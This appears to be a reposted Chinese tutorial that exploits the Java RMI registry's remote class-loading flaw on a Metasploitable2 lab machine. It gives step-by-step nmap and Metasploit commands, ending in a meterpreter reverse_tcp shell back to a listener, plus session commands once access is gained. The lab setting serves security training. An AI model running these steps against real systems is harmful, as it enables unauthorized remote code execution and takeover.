内容简介:Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:
Java远程方法调用,也就是Java RMI,它是一种机制,允许一个 Java 虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。
漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。
RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:
·对象序列化协议用来编组调用和返回数据。
· HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。
Step1—漏洞发现
第一步就是拿nmap神器扫描目标地址。
命令:nmap 192.168.73.130
192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的。
Metasploitable2介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全 工具 和练习常用的渗透测试技巧。
你也可以使用nmap脚本来验证这个漏洞是否存在,命令如下:
nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130
下面的脚本检测Java rmiregistry服务是否允许加载类。默认的配置允许rmiregistry服务从远程URLs加载类,这就导致了远程代码执行。
供应商(Oracle/sun公司)声称这是一项涉及功能。
在我们的攻击机上启动MSF,然后在控制台搜索java_rmi,命令如下:
search java_rmi
通过上面的截图可以看到,有很多与Java RMI相关的模块,不过对于扫描来说,最佳模块是auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是exploit/multi/misc/java_rmi_server
我们先使用扫描模块,输入下列命令,然后”show options”一下
use auxiliary/scanner/misc/java_rmi_server
接下来是设置RHOST和RPORT,命令如下:
setRHOSTS 192.168.73.130 setRPORT 1099 run
Step2—漏洞利用
我们可以看到扫描器检测到了运行在1099端口上的java RMI服务,这就表明它可能存在这个漏洞。
现在我们就来使用一下漏洞利用的最佳模块,命令如下:
use exploit/multi/misc/java_rmi_server
然后输入“show options”查看需要设置的参数,如图:
该模块(java_rmi_server)利用RMI registry和RMI激活服务,允许从任何的远程URLs加载类。由于它调用了RMI Distributed Garbage Collector中的一个方法,该方法在每个RMI终端中都是可用的,它既可以用于rmiregistry和rmid,也可以用于大部分其他(自定义的)的RMI终端。
注意:它不适用于Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个RMI终端在相同的java进程中处于活跃状态。RMI方法调用不支持或要求任何的身份验证。
同样,你还是要设置RHOST和RPORT。
setRHOST 192.168.73.130 setRPORT 1099
然后,你还需要设置payload来进行反向TCP shell连接,命令如下:
Set payload /java/meterpreter/reverse_tcp
你可以输入show payloads来查看所有的payload。
接着我们还是输入“show options”来查看刚才设置的payload需要设置的参数。如图:
这里你可以看到缺少了LHOST,因为我们使用的是反向shell,我们需要设置一个监听地址和监听端口,这里我的LHOST地址是192.168.73.128,监听端口我设置为4444,如图:
我们可以看到这个exp在我们的系统中启动了一个处理器,向靶机发送RMI方法调用,然后成功打开了一个meterpreter会话。
输入“session -i”来查看所有已建立的会话,连接活跃的会话,我们可以使用“session -i <ID>”,如图:
建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
设计原本
Frederick P. Brooks, Jr. / InfoQ中文站、王海鹏、高博 / 机械工业出版社 / 2011-1-1 / 55.00元
无论是软件开发、工程还是建筑,有效的设计都是工作的核心。《设计原本:计算机科学巨匠Frederick P. Brooks的思考》将对设计过程进行深入分析,揭示进行有效和优雅设计的方法。 本书包含了多个行业设计者的特别领悟。Frederick P. Brooks, Jr.精确发现了所有设计项目中内在的不变因素,揭示 了进行优秀设计的过程和模式。通过与几十位优秀设计者的对话,以及他自己在几个设计......一起来看看 《设计原本》 这本书的介绍吧!
MD5 加密
MD5 加密工具
Markdown 在线编辑器
Markdown 在线编辑器